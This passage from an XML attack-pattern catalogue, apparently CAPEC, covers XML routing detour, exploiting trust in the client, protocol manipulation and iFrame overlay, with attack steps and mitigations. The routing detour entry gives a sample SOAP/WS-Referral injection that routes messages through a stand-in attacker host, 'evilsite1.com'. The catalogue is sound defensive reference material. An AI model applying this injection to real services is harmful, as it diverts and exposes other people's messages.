											<Indicator ID="2" type="Inconclusive">
												<Indicator_Description>
												<Text>The application does not accept XML
												requests.</Text>
												</Indicator_Description>
												<Environments>env-Web
												env-ClientServer</Environments>
											</Indicator>
										</Indicators>
									</Custom_Attack_Step>
								</Attack_Step>
							</Attack_Steps>
						</Attack_Phase>
						<Attack_Phase ID="2" Name="Experiment">
							<Attack_Steps>
								<Attack_Step ID="1">
									<Custom_Attack_Step>
										<Attack_Step_Title>Identify SOAP messages that have multiple
											state processing.</Attack_Step_Title>
										<Attack_Step_Description>
											<Text>Inspect instance to see whether the XML processing
												has multiple stages or not.</Text>
										</Attack_Step_Description>
										<Attack_Step_Techniques>
											<Attack_Step_Technique ID="1">
												<Attack_Step_Technique_Description>
												<Text>Inspect the SOAP message routing head to see
												whether the XML processing has multiple stages or
												not.</Text>
												</Attack_Step_Technique_Description>
												<Environments>env-Web
												env-ClientServer</Environments>
											</Attack_Step_Technique>
										</Attack_Step_Techniques>
										<Indicators>
											<Indicator ID="1" type="Positive">
												<Indicator_Description>
												<Text>The SOAP message has multiple stage
												processing.</Text>
												</Indicator_Description>
												<Environments>env-Web
												env-ClientServer</Environments>
											</Indicator>
											<Indicator ID="2" type="Negative">
												<Indicator_Description>
												<Text>The SOAP message does not have intermediate
												nodes.</Text>
												</Indicator_Description>
												<Environments>env-Web
												env-ClientServer</Environments>
											</Indicator>
										</Indicators>
										<Outcomes>
											<Outcome ID="1" type="Success">
												<Outcome_Description>A list of URLs which have
												multiple stages to process XML
												contents.</Outcome_Description>
											</Outcome>
										</Outcomes>
										<Security_Controls>
											<Security_Control ID="1" type="Detective">
												<Security_Control_Description>Monitor velocity of
												page fetching in web logs. Humans who view a page
												and select a link from it will click far slower
												and far less regularly than tools. Tools make
												requests very quickly and the requests are
												typically spaced apart regularly (e.g. 0.8 seconds
												between them).</Security_Control_Description>
											</Security_Control>
										</Security_Controls>
									</Custom_Attack_Step>
								</Attack_Step>
							</Attack_Steps>
						</Attack_Phase>
						<Attack_Phase ID="3" Name="Exploit">
							<Attack_Steps>
								<Attack_Step ID="1">
									<Custom_Attack_Step>
										<Attack_Step_Title>Launch a XML routing detour
											attack</Attack_Step_Title>
										<Attack_Step_Description>
											<Text>The attacker injects a bogus routing node (using a
												WS-Referral service) into the routing table of the
												XML header of the SOAP message identified in the
												Explore phase. Thus, the attacker can route the XML
												message to the attacker controlled node (and access
												the message contents). </Text>
										</Attack_Step_Description>
										<Attack_Step_Techniques>
											<Attack_Step_Technique ID="1">
												<Attack_Step_Technique_Description>
												<Text>The attacker injects a bogus routing node
												(using a WS-Referral service) into the routing
												table of the XML header of the SOAP message</Text>
												</Attack_Step_Technique_Description>
												<Environments>env-Web
												env-ClientServer</Environments>
											</Attack_Step_Technique>
										</Attack_Step_Techniques>
										<Outcomes>
											<Outcome ID="1" type="Success">
												<Outcome_Description>The XML message is routed to
												the attacker controlled
												node.</Outcome_Description>
											</Outcome>
										</Outcomes>
										<Security_Controls>
											<Security_Control ID="1" type="Preventative">
												<Security_Control_Description>Use SSL for
												connections between all parties with mutual
												authentication.</Security_Control_Description>
											</Security_Control>
										</Security_Controls>
									</Custom_Attack_Step>
								</Attack_Step>
							</Attack_Steps>
						</Attack_Phase>
					</Attack_Phases>
				</Attack_Execution_Flow>
			</Description>
			<Attack_Prerequisites>
				<Attack_Prerequisite>
					<Text> The targeted system must have multiple stages processing of XML
						content.</Text>
				</Attack_Prerequisite>
			</Attack_Prerequisites>
			<Typical_Severity>Medium</Typical_Severity>
			<Typical_Likelihood_of_Exploit>
				<Likelihood>High</Likelihood>
				<Explanation/>
			</Typical_Likelihood_of_Exploit>
			<Methods_of_Attack>
				<Method_of_Attack>Protocol Manipulation</Method_of_Attack>
				<Method_of_Attack>Injection</Method_of_Attack>
			</Methods_of_Attack>
			<Examples-Instances>
				<Example-Instance>
					<Example-Instance_Description>
						<Text>Here is an example SOAP call from a client, example1.com, to a target,
							example4.com, via 2 intermediaries, example2.com and example3.com.
							(note: The client here is not necessarily a &apos;end user client&apos;
							but rather the starting point of the XML transaction). Example SOAP
							message with routing information in header: &amp;lt;S:Envelope&amp;gt;
							&amp;lt;S:Header&amp;gt; &amp;lt;m:path
							xmlns:m=&quot;http://schemas.example.com/rp/&quot;
							S:actor=&quot;http://schemas.example.com/soap/actor&quot;
							S:mustUnderstand=&quot;1&quot;&amp;gt;
							&amp;lt;m:action&amp;gt;http://example1.com/&amp;lt;/m:action&amp;gt;
							&amp;lt;m:to&amp;gt;http://example4.com/router&amp;lt;/m:to&amp;gt;
							&amp;lt;m:id&amp;gt;uuid:1235678-abcd-1a2b-3c4d-1a2b3c4d5e6f&amp;lt;/m:id&amp;gt;
							&amp;lt;m:fwd&amp;gt;
							&amp;lt;m:via&amp;gt;http://example2.com/router&amp;lt;/m:via&amp;gt;
							&amp;lt;/m:fwd&amp;gt; &amp;lt;m:rev /&amp;gt; &amp;lt;/m:path&amp;gt;
							&amp;lt;/S:Header&amp;gt; &amp;lt;S:Body&amp;gt; ...
							&amp;lt;/S:Body&amp;gt; &amp;lt;/S:Envelope&amp;gt; Add an additional
							node (example3.com/router) to the XML path in a WS-Referral message
							&amp;lt;r:ref
							xmlns:r=&quot;http://schemas.example.com/referral&quot;&amp;gt;
							&amp;lt;r:for&amp;gt;
							&amp;lt;r:prefix&amp;gt;http://example2.com/router&amp;lt;/r:prefix&amp;gt;
							&amp;lt;/r:for&amp;gt; &amp;lt;r:if/&amp;gt; &amp;lt;r:go&amp;gt;
							&amp;lt;r:via&amp;gt;http://example3.com/router&amp;lt;/r:via&amp;gt;
							&amp;lt;/r:go&amp;gt; &amp;lt;/r:ref&amp;gt; Resulting in the following
							SOAP Header: &amp;lt;S:Envelope&amp;gt; &amp;lt;S:Header&amp;gt;
							&amp;lt;m:path xmlns:m=&quot;http://schemas.example.com/rp/&quot;
							S:actor=&quot;http://schemas.example.com/soap/actor&quot;
							S:mustUnderstand=&quot;1&quot;&amp;gt;
							&amp;lt;m:action&amp;gt;http://example1.com/&amp;lt;/m:action&amp;gt;
							&amp;lt;m:to&amp;gt;http://example4.com/router&amp;lt;/m:to&amp;gt;
							&amp;lt;m:id&amp;gt;uuid:1235678-abcd-1a2b-3c4d-1a2b3c4d5e6f&amp;lt;/m:id&amp;gt;
							&amp;lt;m:fwd&amp;gt;
							&amp;lt;m:via&amp;gt;http://example2.com/router&amp;lt;/m:via&amp;gt;
							&amp;lt;m:via&amp;gt;http://example3.com/router&amp;lt;/m:via&amp;gt;
							&amp;lt;/m:fwd&amp;gt; &amp;lt;m:rev /&amp;gt; &amp;lt;/m:path&amp;gt;
							&amp;lt;/S:Header&amp;gt; &amp;lt;S:Body&amp;gt; ...
							&amp;lt;/S:Body&amp;gt; &amp;lt;/S:Envelope&amp;gt; In the following
							example, the attacker injects a bogus routing node (using a WS-Referral
							service) into the routing table of the XML header but not access the
							message directly on the initiator/intermediary node that he/she has
							targeted. Example of WS-Referral based WS-Routing injection of the bogus
							node route: &amp;lt;r:ref
							xmlns:r=&quot;http://schemas.example.com/referral&quot;&amp;gt;
							&amp;lt;r:for&amp;gt;
							&amp;lt;r:prefix&amp;gt;http://example2.com/router&amp;lt;/r:prefix&amp;gt;
							&amp;lt;/r:for&amp;gt; &amp;lt;r:if/&amp;gt; &amp;lt;r:go&amp;gt;
							&amp;lt;r:via&amp;gt;http://evilsite1.com/router&amp;lt;/r:via&amp;gt;
							&amp;lt;/r:go&amp;gt; &amp;lt;/r:ref&amp;gt; Resulting XML Routing
							Detour attack: &amp;lt;S:Envelope&amp;gt; &amp;lt;S:Header&amp;gt;
							&amp;lt;m:path xmlns:m=&quot;http://schemas.example.com/rp/&quot;
							S:actor=&quot;http://schemas.example.com/soap/actor&quot;
							S:mustUnderstand=&quot;1&quot;&amp;gt;
							&amp;lt;m:action&amp;gt;http://example_0.com/&amp;lt;/m:action&amp;gt;
							&amp;lt;m:to&amp;gt;http://example_4.com/router&amp;lt;/m:to&amp;gt;
							&amp;lt;m:id&amp;gt;uuid:1235678-abcd-1a2b-3c4d-1a2b3c4d5e6f&amp;lt;/m:id&amp;gt;
							&amp;lt;m:fwd&amp;gt;
							&amp;lt;m:via&amp;gt;http://example2.com/router&amp;lt;/m:via&amp;gt;
							&amp;lt;m:via&amp;gt;http://evilesite1.com/router&amp;lt;/m:via&amp;gt;
							&amp;lt;m:via&amp;gt;http://example3.com/router&amp;lt;/m:via&amp;gt;
							&amp;lt;/m:fwd&amp;gt; &amp;lt;m:rev /&amp;gt; &amp;lt;/m:path&amp;gt;
							&amp;lt;/S:Header&amp;gt; &amp;lt;S:Body&amp;gt; ...
							&amp;lt;/S:Body&amp;gt; &amp;lt;/S:Envelope&amp;gt; Thus, the attacker
							can route the XML message to the attacker controlled node (and access to
							the message contents). </Text>
					</Example-Instance_Description>
				</Example-Instance>
			</Examples-Instances>
			<Attacker_Skills_or_Knowledge_Required>
				<Attacker_Skill_or_Knowledge_Required>
					<Skill_or_Knowledge_Level>Low</Skill_or_Knowledge_Level>
					<Skill_or_Knowledge_Type>
						<Text>To inject a bogus node in the XML routing table</Text>
					</Skill_or_Knowledge_Type>
				</Attacker_Skill_or_Knowledge_Required>
			</Attacker_Skills_or_Knowledge_Required>
			<Resources_Required>
				<Text>The attacker must be able to insert or compromise a system into the processing
					path for the transaction.</Text>
			</Resources_Required>
			<Solutions_and_Mitigations>
				<Solution_or_Mitigation>
					<Text>Design: Specify maximum number intermediate nodes for the request and
						require SSL connections with mutual authentication.</Text>
				</Solution_or_Mitigation>
				<Solution_or_Mitigation>
					<Text>Implementation: Use SSL for connections between all parties with mutual
						authentication.</Text>
				</Solution_or_Mitigation>
			</Solutions_and_Mitigations>
			<Attack_Motivation-Consequences>
				<Attack_Motivation-Consequence>
					<Consequence_Scope>Integrity</Consequence_Scope>
					<Consequence_Technical_Impact>Modify application
						data</Consequence_Technical_Impact>
				</Attack_Motivation-Consequence>
				<Attack_Motivation-Consequence>
					<Consequence_Scope>Confidentiality</Consequence_Scope>
					<Consequence_Technical_Impact>Read application
						data</Consequence_Technical_Impact>
				</Attack_Motivation-Consequence>
				<Attack_Motivation-Consequence>
					<Consequence_Scope>Accountability</Consequence_Scope>
					<Consequence_Scope>Authentication</Consequence_Scope>
					<Consequence_Scope>Authorization</Consequence_Scope>
					<Consequence_Scope>Non-Repudiation</Consequence_Scope>
					<Consequence_Technical_Impact>Gain privileges / assume
						identity</Consequence_Technical_Impact>
				</Attack_Motivation-Consequence>
				<Attack_Motivation-Consequence>
					<Consequence_Scope>Access_Control</Consequence_Scope>
					<Consequence_Scope>Authorization</Consequence_Scope>
					<Consequence_Technical_Impact>Bypass protection
						mechanism</Consequence_Technical_Impact>
				</Attack_Motivation-Consequence>
			</Attack_Motivation-Consequences>
			<Injection_Vector>
				<Text> The routing table of the XML Header</Text>
			</Injection_Vector>
			<Payload>
				<Text>The bogus routing node in the routing table of XML header</Text>
			</Payload>
			<Activation_Zone>
				<Text>The route between the XML message sender and receiver.</Text>
			</Activation_Zone>
			<Payload_Activation_Impact>
				<Description>
					<Text>Information Leakage</Text>
				</Description>
			</Payload_Activation_Impact>
			<Related_Weaknesses>
				<Related_Weakness>
					<CWE_ID>441<!--Unintended Proxy/Intermediary-->
					</CWE_ID>
					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>610<!--Externally Controlled Reference to a Resource in Another Sphere -->
					</CWE_ID>
					<Weakness_Relationship_Type>Secondary</Weakness_Relationship_Type>
				</Related_Weakness>
			</Related_Weaknesses>
			<Related_Attack_Patterns>
				<Related_Attack_Pattern>
					<Relationship_Views>
						<Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Attack Pattern</Relationship_Target_Form>
					<Relationship_Nature>ChildOf</Relationship_Nature>
					<Relationship_Target_ID>94<!--Man in the Middle Attack-->
					</Relationship_Target_ID>
					<Relationship_Description>
						<Text>http://capec.mitre.org/data/definitions/94.html</Text>
					</Relationship_Description>
				</Related_Attack_Pattern>
				<Related_Attack_Pattern>
					<Relationship_Views>
						<Relationship_View_ID Ordinal="Primary">333</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Category</Relationship_Target_Form>
					<Relationship_Nature>ChildOf</Relationship_Nature>
					<Relationship_Target_ID>377<!--WASC Threat Classification 2.0 - WASC-32 - Routing Detour-->
					</Relationship_Target_ID>
					<Relationship_Description>
						<Text>http://capec.mitre.org/data/definitions/365.html</Text>
					</Relationship_Description>
				</Related_Attack_Pattern>
			</Related_Attack_Patterns>
			<Purposes>
				<Purpose>Exploitation</Purpose>
			</Purposes>
			<CIA_Impact>
				<Confidentiality_Impact>High</Confidentiality_Impact>
				<Integrity_Impact>Medium</Integrity_Impact>
				<Availability_Impact>Low</Availability_Impact>
			</CIA_Impact>
			<Technical_Context>
				<Architectural_Paradigms>
					<Architectural_Paradigm>Client-Server</Architectural_Paradigm>
				</Architectural_Paradigms>
				<Frameworks>
					<Framework>All</Framework>
				</Frameworks>
				<Platforms>
					<Platform>All</Platform>
				</Platforms>
			</Technical_Context>
			<References>
				<Reference>
					<Reference_Title> WASC Threat Classification WSAC32: Routing
						Detour</Reference_Title>
					<Reference_Link>http://projects.webappsec.org/w/page/13246956/Routing-Detour</Reference_Link>
				</Reference>
				<Reference>
					<Reference_Author>Andre Yee</Reference_Author>
					<Reference_Title>Threat Protection in a Service Oriented World</Reference_Title>
					<Reference_Publication>NFR Security</Reference_Publication>
					<Reference_Link>http://www.unatekconference.com/images/pdfs/presentations/Yee.pdf</Reference_Link>
				</Reference>
				<Reference>
					<Reference_Author>Pete Lindstrom</Reference_Author>
					<Reference_Title>Attacking and Defending Web Services</Reference_Title>
					<Reference_Link>http://www.forumsys.com/resources/resources/whitepapers/Attacking_and_Defending_WS.pdf</Reference_Link>
				</Reference>
			</References>
			<Content_History>
				<Modifications>
					<Modification>
						<Modifier>Min Xu</Modifier>
						<Modifier_Organization>Cigital, Inc.</Modifier_Organization>
						<Modification_Comment>Pre-review - 0.1</Modification_Comment>
					</Modification>
					<Modification>
						<Modifier>Romain Gaucher</Modifier>
						<Modifier_Organization>Cigital, Inc.</Modifier_Organization>
						<Modification_Comment>Performed a review of content and added additional
							content</Modification_Comment>
					</Modification>
				</Modifications>
			</Content_History>
		</Attack_Pattern>
		<Attack_Pattern ID="22" Name="Exploiting Trust in Client (aka Make the Client Invisible)"
			Pattern_Abstraction="Meta" Pattern_Completeness="Complete" Status="Draft">
			<Description>
				<Summary>
					<Text>An attack of this type exploits a programs' vulnerabilities in
						client/server communication channel authentication and data integrity. It
						leverages the implicit trust a server places in the client, or more
						importantly, that which the server believes is the client.</Text>
					<Text>An attacker executes this type of attack by placing themselves in the
						communication channel between client and server such that communication
						directly to the server is possible where the server believes it is
						communicating only with a valid client.</Text>
					<Text>There are numerous variations of this type of attack.</Text>
				</Summary>
			</Description>
			<Attack_Prerequisites>
				<Attack_Prerequisite>
					<Text>Server software must rely on client side formatted and validated values,
						and not re-inforce these checks on the server side.</Text>
				</Attack_Prerequisite>
			</Attack_Prerequisites>
			<Typical_Severity>High</Typical_Severity>
			<Typical_Likelihood_of_Exploit>
				<Likelihood>High</Likelihood>
				<Explanation/>
			</Typical_Likelihood_of_Exploit>
			<Methods_of_Attack>
				<Method_of_Attack>Spoofing</Method_of_Attack>
				<Method_of_Attack>Protocol Manipulation</Method_of_Attack>
			</Methods_of_Attack>
			<Examples-Instances>
				<Example-Instance>
					<Example-Instance_Description>
						<Text>Web applications may use Javascript to perform client side validation,
							request encoding/formatting, and other security functions, which
							provides some usability benefits and eliminates some client-server
							roundtripping. However, the web server cannot assume that the requests
							it receives have been subject to those validations, because an attacker
							can use an alternate method for crafting the HTTP Request and submit
							data that contains poisoned values designed to spoof a user and/or get
							the web server to disclose information.</Text>
					</Example-Instance_Description>
				</Example-Instance>
				<Example-Instance>
					<Example-Instance_Description>
						<Text>Web 2.0 style applications may be particularly vulnerable because they
							in large part rely on existing infrastructure which provides scalability
							without the ability to govern the clients. Attackers identify
							vulnerabilities that either assume the client side is responsible for
							some security services (without the requisite ability to ensure
							enforcement of these checks) and/or the lack of a hardened, default deny
							server configuration that allows for an attacker probing for weaknesses
							in unexpected ways. Client side validation, request formatting and other
							services may be performed, but these are strictly usability enhancements
							not security enhancements.</Text>
					</Example-Instance_Description>
				</Example-Instance>
				<Example-Instance>
					<Example-Instance_Description>
						<Text>Many web applications use client side scripting like Javascript to
							enforce authentication, authorization, session state and other
							variables, but at the end of day they all make requests to the server.
							These client side checks may provide usability and performance gains,
							but they lack integrity in terms of the http request. It is possible for
							an attacker to post variables directly to the server without using any
							of the client script security checks and customize the patterns to
							impersonate other users or probe for more information.</Text>
					</Example-Instance_Description>
				</Example-Instance>
				<Example-Instance>
					<Example-Instance_Description>
						<Text>Many message oriented middleware systems like MQ Series are rely on
							information that is passed along with the message request for making
							authorization decisions, for example what group or role the request
							should be passed. However, if the message server does not or cannot
							authenticate the authorization information in the request then the
							server's policy decisions about authorization are trivial to subvert
							because the client process can simply elevate privilege by passing in
							elevated group or role information which the messgae server accepts and
							acts on.</Text>
					</Example-Instance_Description>
				</Example-Instance>
			</Examples-Instances>
			<Attacker_Skills_or_Knowledge_Required>
				<Attacker_Skill_or_Knowledge_Required>
					<Skill_or_Knowledge_Level>Medium</Skill_or_Knowledge_Level>
					<Skill_or_Knowledge_Type>
						<Text>The attacker must have fairly detailed knowledge of the syntax and
							semantics of client/server communications protocols and grammars</Text>
					</Skill_or_Knowledge_Type>
				</Attacker_Skill_or_Knowledge_Required>
			</Attacker_Skills_or_Knowledge_Required>
			<Resources_Required>
				<Text>Ability to communicate synchronously or asynchronously with server</Text>
			</Resources_Required>
			<Solutions_and_Mitigations>
				<Solution_or_Mitigation>
					<Text>Design: Ensure that client process and/or message is authenticated so that
						anonymous communications and/or messages are not accepted by the
						system.</Text>
				</Solution_or_Mitigation>
				<Solution_or_Mitigation>
					<Text>Design: Do not rely on client validation or encoding for security
						purposes.</Text>
				</Solution_or_Mitigation>
				<Solution_or_Mitigation>
					<Text>Design: Utilize digital signatures to increase authentication
						assurance.</Text>
				</Solution_or_Mitigation>
				<Solution_or_Mitigation>
					<Text>Design: Utilize two factor authentication to increase authentication
						assurance.</Text>
				</Solution_or_Mitigation>
				<Solution_or_Mitigation>
					<Text>Implementation: Perform input validation for all remote content.</Text>
				</Solution_or_Mitigation>
			</Solutions_and_Mitigations>
			<Attack_Motivation-Consequences>
				<!--Run Arbitrary Code-->
				<Attack_Motivation-Consequence>
					<Consequence_Scope>Confidentiality</Consequence_Scope>
					<Consequence_Scope>Integrity</Consequence_Scope>
					<Consequence_Scope>Availability</Consequence_Scope>
					<Consequence_Technical_Impact>Execute unauthorized code or
						commands</Consequence_Technical_Impact>
				</Attack_Motivation-Consequence>
				<!--Privilege Escalation-->
				<Attack_Motivation-Consequence>
					<Consequence_Scope>Confidentiality</Consequence_Scope>
					<Consequence_Scope>Access_Control</Consequence_Scope>
					<Consequence_Scope>Authorization</Consequence_Scope>
					<Consequence_Technical_Impact>Gain privileges / assume
						identity</Consequence_Technical_Impact>
				</Attack_Motivation-Consequence>
				<!--Information Leakage-->
				<Attack_Motivation-Consequence>
					<Consequence_Scope>Confidentiality</Consequence_Scope>
					<Consequence_Technical_Impact>Read application
						data</Consequence_Technical_Impact>
				</Attack_Motivation-Consequence>
			</Attack_Motivation-Consequences>
			<Injection_Vector/>
			<Payload/>
			<Activation_Zone/>
			<Payload_Activation_Impact/>
			<Related_Weaknesses>
				<Related_Weakness>
					<CWE_ID>290<!--Authentication Bypass by Spoofing--></CWE_ID>

					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>287<!--Improper Authentication--></CWE_ID>

					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>20<!--Improper Input Validation--></CWE_ID>

					<Weakness_Relationship_Type>Secondary</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>200<!--Information Exposure--></CWE_ID>

					<Weakness_Relationship_Type>Secondary</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>693<!--Protection Mechanism Failure--></CWE_ID>

					<Weakness_Relationship_Type>Secondary</Weakness_Relationship_Type>
				</Related_Weakness>
			</Related_Weaknesses>
			<Related_Attack_Patterns>
				<Related_Attack_Pattern>
					<Relationship_Views>
						<Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Attack Pattern</Relationship_Target_Form>
					<Relationship_Nature>ChildOf</Relationship_Nature>
					<Relationship_Target_ID>232<!--Exploitation of Privilege/Trust--></Relationship_Target_ID>
				</Related_Attack_Pattern>
			</Related_Attack_Patterns>
			<Purposes>
				<Purpose>Penetration</Purpose>
			</Purposes>
			<CIA_Impact>
				<Confidentiality_Impact>High</Confidentiality_Impact>
				<Integrity_Impact>High</Integrity_Impact>
				<Availability_Impact>Low</Availability_Impact>
			</CIA_Impact>
			<Technical_Context>
				<Architectural_Paradigms>
					<Architectural_Paradigm>Client-Server</Architectural_Paradigm>
					<Architectural_Paradigm>n-Tier</Architectural_Paradigm>
				</Architectural_Paradigms>
				<Frameworks>
					<Framework>All</Framework>
				</Frameworks>
				<Platforms>
					<Platform>All</Platform>
				</Platforms>
				<Languages>
					<Language>All</Language>
				</Languages>
			</Technical_Context>
			<References>
				<Reference>
					<Reference_Author>G. Hoglund</Reference_Author>
					<Reference_Author>G. McGraw</Reference_Author>
					<Reference_Title>Exploiting Software: How to Break Code</Reference_Title>
					<Reference_Publisher>Addison-Wesley</Reference_Publisher>
					<Reference_PubDate>February 2004</Reference_PubDate>
				</Reference>
			</References>
			<Content_History>
				<Submissions>
					<Submission>
						<Submitter>G. Hoglund and G. McGraw. Exploiting Software: How to Break Code.
							Addison-Wesley, February 2004.</Submitter>
						<Submitter_Organization>Cigital, Inc</Submitter_Organization>
						<Submission_Date>2007-01-01</Submission_Date>
					</Submission>
				</Submissions>
				<Modifications>
					<Modification>
						<Modifier>Gunnar Peterson</Modifier>
						<Modifier_Organization>Cigital, Inc</Modifier_Organization>
						<Modification_Date>2007-02-28</Modification_Date>
						<Modification_Comment>Fleshed out content to CAPEC schema from the original
							descriptions in "Exploiting Software"</Modification_Comment>
					</Modification>
					<Modification>
						<Modifier>Sean Barnum</Modifier>
						<Modifier_Organization>Cigital, Inc</Modifier_Organization>
						<Modification_Date>2007-03-09</Modification_Date>
						<Modification_Comment>Review and revise</Modification_Comment>
					</Modification>
				</Modifications>
			</Content_History>
		</Attack_Pattern>
		<Attack_Pattern ID="220" Name="Client-Server Protocol Manipulation"
			Pattern_Abstraction="Standard" Pattern_Completeness="Stub" Status="Draft">
			<Description>
				<Summary>
					<Text>An attacker takes advantage of weaknesses in the protocol by which a
						client and server are communicating to perform unexpected actions.
						Communication protocols are necessary to transfer messages between client
						and server applications. Moreover, different protocols may be used for
						different types of interactions. For example, an authentication protocol
						might be used to establish the identities of the server and client while a
						separate messaging protocol might be used to exchange data. If there is a
						weakness in a protocol used by the client and server, an attacker might take
						advantage of this to perform various types of attacks. For example, if the
						attacker is able to manipulate an authentication protocol, the attacker may
						be able spoof other clients or servers. If the attacker is able to
						manipulate a messaging protocol, the may be able to read sensitive
						information or modify message contents. This attack is often made easier by
						the fact that many clients and servers support multiple protocols to perform
						similar roles. For example, a server might support several different
						authentication protocols in order to support a wide range of clients,
						including legacy clients. Some of the older protocols may have
						vulnerabilities that allow an attacker to manipulate client-server
						interactions.</Text>
				</Summary>
			</Description>
			<Attack_Prerequisites>
				<Attack_Prerequisite>
					<Text>The client and/or server must utilize a protocol that has a weakness
						allowing attacker manipulation of the interaction.</Text>
				</Attack_Prerequisite>
			</Attack_Prerequisites>
			<Typical_Severity>Medium</Typical_Severity>
			<Resources_Required>
				<Text>The attacker must be able to identify the weakness in the utilized protocol
					and exploit it. This may require a sniffing tool as well as packet creation
					abilities. The attacker will be aided if they can force the client and/or server
					to utilize a specific protocol known to contain exploitable weaknesses.</Text>
			</Resources_Required>
			<Related_Weaknesses>
				<Related_Weakness>
					<CWE_ID>757<!--Selection of Less-Secure Algorithm During Negotiation ('Algorithm Downgrade')--></CWE_ID>

					<Weakness_Relationship_Type>Secondary</Weakness_Relationship_Type>
				</Related_Weakness>
			</Related_Weaknesses>
			<Related_Attack_Patterns>
				<Related_Attack_Pattern>
					<Relationship_Views>
						<Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Attack Pattern</Relationship_Target_Form>
					<Relationship_Nature>ChildOf</Relationship_Nature>
					<Relationship_Target_ID>151<!--Identity Spoofing (Impersonation)--></Relationship_Target_ID>
				</Related_Attack_Pattern>
				<Related_Attack_Pattern>
					<Relationship_Views>
						<Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Attack Pattern</Relationship_Target_Form>
					<Relationship_Nature>ChildOf</Relationship_Nature>
					<Relationship_Target_ID>22<!--Exploiting Trust in Client (aka Make the Client Invisible)--></Relationship_Target_ID>
				</Related_Attack_Pattern>
				<Related_Attack_Pattern>
					<Relationship_Views>
						<Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Attack Pattern</Relationship_Target_Form>
					<Relationship_Nature>ChildOf</Relationship_Nature>
					<Relationship_Target_ID>272<!--Protocol Manipulation--></Relationship_Target_ID>
				</Related_Attack_Pattern>
			</Related_Attack_Patterns>
		</Attack_Pattern>
		<Attack_Pattern ID="221" Name="External Entity Attack" Pattern_Abstraction="Standard"
			Pattern_Completeness="Hook" Status="Draft">
			<Related_Attack_Patterns>
				<Related_Attack_Pattern>
					<Relationship_Views>
						<Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Attack Pattern</Relationship_Target_Form>
					<Relationship_Nature>ChildOf</Relationship_Nature>
					<Relationship_Target_ID>151<!--Identity Spoofing (Impersonation)--></Relationship_Target_ID>
				</Related_Attack_Pattern>
				<Related_Attack_Pattern>
					<Relationship_Views>
						<Relationship_View_ID>333</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Category</Relationship_Target_Form>
					<Relationship_Nature>HasMember</Relationship_Nature>
					<Relationship_Target_ID>376<!--WASC Threat Classification 2.0 - WASC-43 - XML External Entities--></Relationship_Target_ID>
				</Related_Attack_Pattern>
			</Related_Attack_Patterns>
		</Attack_Pattern>
		<Attack_Pattern ID="222" Name="iFrame Overlay" Pattern_Abstraction="Standard"
			Pattern_Completeness="Complete" Status="Draft">
			<Description>
				<Summary>
					<Text>In an iFrame overlay attack the victim is tricked into unknowingly
						initiating some action in one system while interacting with the UI from
						seemingly completely different system. While being logged in to some target
						system, the victim visits the attacker's malicious site which displays a UI
						that the victim wishes to interact with. In reality, the iFrame overlay page
						has a transparent layer above the visible UI with action controls that the
						attacker wishes the victim to execute. The victim clicks on buttons or other
						UI elements they see on the page which actually triggers the action controls
						in the transparent overlaying layer. Depending on what that action control
						is, the attacker may have just tricked the victim into executing some
						potentially privileged (and most undesired) functionality in the target
						system to which the victim is authenticated. The basic problem here is that
						there is a dichotomy between what the victim thinks he or she is clicking on
						versus what he or she is actually clicking on.</Text>
				</Summary>
				<Attack_Execution_Flow>
					<Attack_Phases>
						<Attack_Phase ID="1" Name="Explore">
							<Attack_Steps>
								<Attack_Step ID="1">
									<Custom_Attack_Step>
										<Attack_Step_Title>Craft an iFrame Overlay
											page:</Attack_Step_Title>
										<Attack_Step_Description>
											<Text>The attacker crafts a malicious iFrame overlay
												page.</Text>
										</Attack_Step_Description>
										<Attack_Step_Techniques>
											<Attack_Step_Technique ID="1">
												<Attack_Step_Technique_Description>
												<Text>The attacker leverages iFrame overlay
												capabilities to craft a malicious iFrame overlay
												page.</Text>
												</Attack_Step_Technique_Description>
												<Environments>env-Web</Environments>
											</Attack_Step_Technique>
										</Attack_Step_Techniques>
										<Indicators>
											<Indicator ID="1" type="Positive">
												<Indicator_Description>
												<Text>Overlay capabilities are enabled in the
												browser.</Text>
												</Indicator_Description>
												<Environments>env-Web</Environments>
											</Indicator>
											<Indicator ID="2" type="Negative">
												<Indicator_Description>
												<Text>The target website implements protection
												against iFrame Overlay (frame busting).</Text>
												</Indicator_Description>
												<Environments>env-Web</Environments>
											</Indicator>
										</Indicators>
										<Outcomes>
											<Outcome ID="1" type="Success">
												<Outcome_Description>A page is created that performs
												unseen actions when the user interacts with the
												visible UI.</Outcome_Description>
											</Outcome>
										</Outcomes>
										<Security_Controls>
											<Security_Control ID="1" type="Preventative">
												<Security_Control_Description> Disable overlay
												functionality in the browser. This can have
												obvious impact on the usability of the browser
												with some sites and web applications.
												</Security_Control_Description>
											</Security_Control>
											<Security_Control ID="2" type="Preventative">
												<Security_Control_Description> Implement frame
												busting protection in JavaScript in the
												application. The client-side code detects if a
												parent frame exist, if so, an iFrame overlay
												attack might be attempted.
												</Security_Control_Description>
											</Security_Control>
										</Security_Controls>
									</Custom_Attack_Step>
								</Attack_Step>
							</Attack_Steps>
						</Attack_Phase>
						<Attack_Phase ID="2" Name="Exploit">
							<Attack_Steps>
								<Attack_Step ID="1">
									<Custom_Attack_Step>
										<Attack_Step_Title>Attacker tricks victim to load the iFrame
											overlay page:</Attack_Step_Title>
										<Attack_Step_Description>
											<Text>Attacker utilizes some form of temptation,
